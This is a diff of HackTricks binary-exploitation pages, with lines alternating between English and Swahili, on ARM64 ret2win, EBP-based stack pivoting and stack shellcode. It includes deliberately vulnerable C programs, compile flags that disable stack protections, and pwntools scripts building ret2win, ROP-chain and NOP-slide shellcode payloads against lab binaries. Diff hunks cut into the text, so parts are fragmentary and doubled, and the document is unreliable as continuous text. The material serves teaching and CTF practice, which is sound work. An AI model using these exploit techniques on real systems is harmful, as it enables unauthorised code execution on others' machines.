- 64 bits with ASLR, with a leak of the bin address
- 64 bits zikiwa na ASLR, na uvujaji wa anwani ya bin
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, no ASLR
- 64 bits, hakuna ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
- 32 bits, hakuna ASLR, overflow ndogo mara mbili, ya kwanza kujaa stack na kuongeza ukubwa wa overflow ya pili
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32 bit, relro, hakuna canary, nx, hakuna pie, format string kubadilisha anwani ya `fflush` na kazi ya win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32 bit, nx, hakuna kingine, partial overwrite ya EIP (1Byte) kuita kazi ya win
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32 bit, nx, hakuna kingine, partial overwrite ya EIP (1Byte) kuita kazi ya win
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
- Programu inathibitisha tu byte ya mwisho ya nambari ili kuangalia ukubwa wa ingizo, kwa hivyo inawezekana kuongeza ukubwa wowote mradi byte ya mwisho iko ndani ya upeo unaoruhusiwa. Kisha, ingizo linaunda overflow ya buffer inayotumiwa na ret2win.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
- 64 bit, relro, hakuna canary, nx, pie. Partial overwrite kuita kazi ya win (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
- arm64, PIE, inatoa uvujaji wa PIE kazi ya win kwa kweli ni kazi 2 hivyo ROP gadget inayopiga kazi 2
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one to call a win function
- ARM64, off-by-one kuita kazi ya win
## ARM64 Example
## Mfano wa ARM64
{{#ref}}
ret2win-arm64.md

View File

@ -2,109 +2,94 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Pata utangulizi wa arm64 katika:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
Kusanya bila pie na canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Kupata offset
## Finding the offset
### Chaguo la Mchoro
### Pattern option
This example was created using [**GEF**](https://github.com/bata24/gef):
Stat gdb with gef, create pattern and use it:
Mfano huu ulitengenezwa kwa kutumia [**GEF**](https://github.com/bata24/gef):
Anza gdb na gef, tengeneza mchoro na uutumia:
```bash
gdb -q ./ret2win
pattern create 200
run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
arm64 itajaribu kurudi kwenye anwani katika register x30 (ambayo ilikabiliwa), tunaweza kutumia hiyo kupata ofset ya muundo:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**The offset is 72 (9x48).**
**Kipimo ni 72 (9x48).**
### Stack offset option
Start by getting the stack address where the pc register is stored:
### Chaguo la kipimo cha stack
Anza kwa kupata anwani ya stack ambapo register ya pc imehifadhiwa:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
Sasa weka breakpoint baada ya `read()` na uendelee hadi `read()` itakapotekelezwa na uweke muundo kama 13371337:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Find where this pattern is stored in memory:
Pata mahali muundo huu umehifadhiwa katika kumbukumbu:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
Kisha: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## No PIE
## Hakuna PIE
### Regular
Get the address of the **`win`** function:
### Kawaida
Pata anwani ya kazi ya **`win`**:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Exploit:
Kuvunja:
```python
from pwn import *
@ -124,13 +109,11 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
### Off-by-1
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
Kwa kweli hii itakuwa kama off-by-2 katika PC iliyohifadhiwa kwenye stack. Badala ya kufuta anwani zote za kurudi, tutafuta **tu bytes 2 za mwisho** kwa `0x06c4`.
```python
from pwn import *
@ -150,22 +133,20 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
Unaweza kupata mfano mwingine wa off-by-one katika ARM64 katika [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), ambayo ni off-by-**one** halisi katika udhaifu wa kufikirika.
## With PIE
## Pamoja na PIE
> [!TIP]
> Compile the binary **without the `-no-pie` argument**
> Jenga binary **bila ya argument `-no-pie`**
### Off-by-2
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
Bila ya leak hatujui anwani halisi ya kazi ya kushinda lakini tunaweza kujua offset ya kazi kutoka kwa binary na kujua kwamba anwani ya kurudi tunayofuta tayari inaelekeza kwenye anwani ya karibu, inawezekana kuvuja offset kwa kazi ya kushinda (**0x7d4**) katika kesi hii na kutumia tu offset hiyo:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
from pwn import *
@ -185,5 +166,4 @@ p.send(payload)
print(p.recvline())
p.close()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,62 +4,59 @@
## Basic Information
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
As a reminder, **`leave`** basically means:
Teknolojia hii inatumia uwezo wa kudhibiti **Base Pointer (EBP)** ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya register ya EBP na mfuatano wa maagizo **`leave; ret`**.
Kumbuka, **`leave`** kimsingi inamaanisha:
```
mov ebp, esp
pop ebp
ret
```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
Na kama **EBP iko kwenye stack** kabla ya EIP, inawezekana kuidhibiti kwa kudhibiti stack.
### EBP2Ret
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
Teknolojia hii ni muhimu hasa unapoweza **kubadilisha register ya EBP lakini huna njia ya moja kwa moja ya kubadilisha register ya EIP**. Inatumia tabia ya kazi wakati zinamaliza kutekeleza.
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
Ikiwa, wakati wa utekelezaji wa `fvuln`, unafanikiwa kuingiza **EBP bandia** kwenye stack inayotaja eneo katika kumbukumbu ambapo anwani ya shellcode yako iko (plus 4 bytes kuzingatia operesheni ya `pop`), unaweza kudhibiti kwa njia isiyo ya moja kwa moja EIP. Wakati `fvuln` inarudi, ESP inawekwa kwenye eneo hili lililotengenezwa, na operesheni inayofuata ya `pop` inapunguza ESP kwa 4, **ikiwezesha kuashiria anwani iliyoifadhiwa na mshambuliaji humo.**\
Kumbuka jinsi unavyohitaji **kujua anwani 2**: Ile ambayo ESP itakwenda, ambapo utahitaji kuandika anwani inayotajwa na ESP.
#### Exploit Construction
#### Ujenzi wa Ulaghai
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
Kwanza unahitaji kujua **anwani ambapo unaweza kuandika data / anwani zisizo na mipaka**. ESP itakuwa inatazama hapa na **kufanya `ret` ya kwanza**.
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
Kisha, unahitaji kujua anwani inayotumiwa na `ret` ambayo itafanya **kodi isiyo na mipaka**. Unaweza kutumia:
- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
- Some [**ROP**](../rop-return-oriented-programing/) chain
- Anwani halali ya [**ONE_GADGET**](https://github.com/david942j/one_gadget).
- Anwani ya **`system()`** ikifuatiwa na **bytes 4 za takataka** na anwani ya `"/bin/sh"` (x86 bits).
- Anwani ya **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ikifuatiwa na **shellcode** ya kutekeleza.
- Mnyororo fulani wa [**ROP**](../rop-return-oriented-programing/)
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
Kumbuka kwamba kabla ya anwani yoyote kati ya hizi katika sehemu iliyo na udhibiti wa kumbukumbu, lazima kuwe na **bytes 4** kwa sababu ya sehemu ya **`pop`** ya amri ya `leave`. Itakuwa inawezekana kutumia hizi 4B kuweka **EBP bandia ya pili** na kuendelea kudhibiti utekelezaji.
#### Off-By-One Exploit
#### Ulaghai wa Off-By-One
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
Usually it's modified the byte 0x00t o jump as far as possible.
Kuna toleo maalum la teknolojia hii linalojulikana kama "Off-By-One Exploit". Inatumika unapoweza **kubadilisha byte ya chini kabisa ya EBP tu**. Katika hali kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka kwa **`ret`** lazima liwe na bytes tatu za kwanza zinazoshiriki na EBP, kuruhusu udhibiti wa kufanana na hali zilizozuiliwa zaidi.\
Kawaida inabadilishwa byte 0x00 ili kuruka mbali iwezekanavyo.
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
Pia, ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuifanya iwezekanavyo zaidi kwamba ESP mpya inaelekeza ndani ya RET SLED na mnyororo wa mwisho wa ROP unatekelezwa.
### **EBP Chaining**
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
Kwa hivyo, kuweka anwani iliyo na udhibiti katika kiingilio cha `EBP` cha stack na anwani ya `leave; ret` katika `EIP`, inawezekana **kuhamasisha `ESP` kwa anwani ya `EBP` iliyo na udhibiti kutoka kwenye stack**.
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
Sasa, **`ESP`** inadhibitiwa ikielekeza kwenye anwani inayotakiwa na amri inayofuata ya kutekeleza ni `RET`. Ili kutumia hii, inawezekana kuweka katika sehemu iliyo na udhibiti ya ESP hii:
- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
- **`system()`** -> Called by `ret`
- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
- **`&("/bin/sh")`**-> Param fro `system`
- **`&(next fake EBP)`** -> Pakia EBP mpya kwa sababu ya `pop ebp` kutoka kwa amri ya `leave`
- **`system()`** -> Inaitwa na `ret`
- **`&(leave;ret)`** -> Inaitwa baada ya mfumo kumaliza, itahamisha ESP kwa EBP bandia na kuanza tena
- **`&("/bin/sh")`**-> Param kwa `system`
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
Kimsingi kwa njia hii inawezekana kuunganisha EBPs bandia kadhaa ili kudhibiti mtiririko wa programu.
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
Hii ni kama [ret2lib](../rop-return-oriented-programing/ret2lib/), lakini ngumu zaidi bila faida dhahiri lakini inaweza kuwa ya kuvutia katika baadhi ya hali za ukingo.
Zaidi ya hayo, hapa una [**mfano wa changamoto**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) inayotumia teknolojia hii na **stack leak** ili kuita kazi ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:
```python
from pwn import *
@ -75,34 +72,32 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP huenda isiweze kutumika
## EBP might not be used
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.
- **Not optimized:**
Kama [**ilivyoelezwa katika chapisho hili**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ikiwa binary imeandikwa kwa baadhi ya uboreshaji, **EBP kamwe haipati kudhibiti ESP**, kwa hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP kwa msingi itashindwa kwa sababu haina athari halisi.\
Hii ni kwa sababu **prologue na epilogue hubadilika** ikiwa binary imeboreshwa.
- **Iliyojaboreshwa:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Optimized:**
- **Imara:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Other ways to control RSP
## Njia nyingine za kudhibiti RSP
### **`pop rsp`** gadget
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
[**Katika ukurasa huu**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilihitajika kuita kazi yenye hoja 2 maalum, na kulikuwa na **`pop rsp` gadget** na kuna **leak kutoka kwenye stack**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
Check the ret2esp technique here:
Angalia mbinu ya ret2esp hapa:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## References & Other Examples
## Marejeleo na Mifano Mingine
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- 64 bits, exploitation ya off by one na mchain ya rop ikianza na ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
- 64 bit, hakuna relro, canary, nx na pie. Programu inatoa leak kwa stack au pie na WWW ya qword. Kwanza pata stack leak na tumia WWW kurudi na kupata pie leak. Kisha tumia WWW kuunda loop ya milele ikitumia entries za `.fini_array` + kuita `__libc_csu_fini` ([maelezo zaidi hapa](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Kwa kutumia "kuandika" hii "milele", imeandikwa mchain ya ROP katika .bss na kumaliza kwa kuitwa pivoting na RBP.
## ARM64
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
Katika ARM64, **prologue na epilogues** za kazi **hazihifadhi na kurejesha usajili wa SP** katika stack. Zaidi ya hayo, **amri ya `RET`** hairejeshi kwenye anwani inayotolewa na SP, bali **kwenye anwani ndani ya `x30`**.
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
Kwa hivyo, kwa kawaida, kwa kutumia epilogue huwezi **kudhibiti usajili wa SP** kwa kuandika tena data fulani ndani ya stack. Na hata kama unafanikiwa kudhibiti SP bado unahitaji njia ya **kudhibiti usajili wa `x30`**.
- prologue
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
```
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
```
- epilogue
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
> [!CAUTION]
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
> Njia ya kufanya kitu kinachofanana na stack pivoting katika ARM64 itakuwa kuwa na uwezo wa **kudhibiti `SP`** (kwa kudhibiti usajili fulani ambao thamani yake inapitishwa kwa `SP` au kwa sababu fulani `SP` inachukua anwani yake kutoka stack na tuna overflow) na kisha **kuandika epilogu** ili kupakia usajili wa **`x30`** kutoka **`SP`** iliyo **kudhibitiwa** na **`RET`** kwake.
Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
Pia katika ukurasa ufuatao unaweza kuona sawa na **Ret2esp katika ARM64**:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md

View File

@ -4,47 +4,42 @@
## Basic Information
**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
**Stack shellcode** ni mbinu inayotumika katika **binary exploitation** ambapo mshambuliaji anaandika shellcode kwenye stack ya programu iliyo hatarini kisha kubadilisha **Instruction Pointer (IP)** au **Extended Instruction Pointer (EIP)** ili kuelekeza kwenye eneo la shellcode hii, na kusababisha itekelezwe. Hii ni mbinu ya jadi inayotumika kupata ufikiaji usioidhinishwa au kutekeleza amri zisizo na mipango kwenye mfumo wa lengo. Hapa kuna muhtasari wa mchakato, ikiwa ni pamoja na mfano rahisi wa C na jinsi unavyoweza kuandika exploit inayolingana kwa kutumia Python na **pwntools**.
### C Example: A Vulnerable Program
Let's start with a simple example of a vulnerable C program:
Tuanze na mfano rahisi wa programu ya C iliyo hatarini:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Programu hii ina udhaifu wa buffer overflow kutokana na matumizi ya kazi ya `gets()`.
This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
### Compilation
To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
### Uundaji
Ili kuunda programu hii huku ukizima ulinzi mbalimbali (ili kuiga mazingira yenye udhaifu), unaweza kutumia amri ifuatayo:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Disables stack protection.
- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
- `-fno-stack-protector`: Inazima ulinzi wa stack.
- `-z execstack`: Inafanya stack kuwa executable, ambayo ni muhimu kwa kutekeleza shellcode iliyohifadhiwa kwenye stack.
- `-no-pie`: Inazima Position Independent Executable, ikifanya iwe rahisi kutabiri anwani ya kumbukumbu ambapo shellcode yetu itakuwa.
- `-m32`: Inakusanya programu kama executable ya 32-bit, mara nyingi hutumiwa kwa urahisi katika maendeleo ya exploit.
### Python Exploit using Pwntools
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
Hapa kuna jinsi unavyoweza kuandika exploit katika Python ukitumia **pwntools** kufanya shambulio la **ret2shellcode**:
```python
from pwn import *
@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Hii script inajenga payload inayojumuisha **NOP slide**, **shellcode**, na kisha inabadilisha **EIP** na anwani inayotaja NOP slide, kuhakikisha shellcode inatekelezwa.
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
**NOP slide** (`asm('nop')`) inatumika kuongeza nafasi kwamba utekelezaji uta "slide" ndani ya shellcode yetu bila kujali anwani halisi. Badilisha hoja ya `p32()` kwa anwani ya mwanzo ya buffer yako pamoja na offset ili kuangukia kwenye NOP slide.
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
## Ulinzi
## Protections
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **inapaswa kuzuiliwa** ili anwani iwe ya kuaminika katika utekelezaji tofauti au anwani ambapo kazi itahifadhiwa haitakuwa sawa kila wakati na unahitaji kuvuja ili kubaini wapi kazi ya ushindi imepakiwa.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzuiliwa au anwani ya kurudi ya EIP iliyovunjika haitafuatiwa kamwe.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** ulinzi utazuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitakuwa la kutekelezeka.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
## Other Examples & References
## Mifano Mingine & Marejeleo
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR with stack address leak, write shellcode and jump to it
- 64bit, ASLR na kuvuja kwa anwani ya stack, andika shellcode na kuruka kwake
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR with stack leak, write shellcode and jump to it
- 32 bit, ASLR na kuvuja kwa stack, andika shellcode na kuruka kwake
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
- 32 bit, ASLR na kuvuja kwa stack, kulinganisha kuzuia wito wa exit(), badilisha kigezo na thamani na andika shellcode na kuruka kwake
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, hakuna ASLR, ROP gadget kufanya stack iweze kutekelezwa na kuruka kwa shellcode katika stack
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,47 +2,40 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Pata utangulizi wa arm64 katika:
{{#ref}}
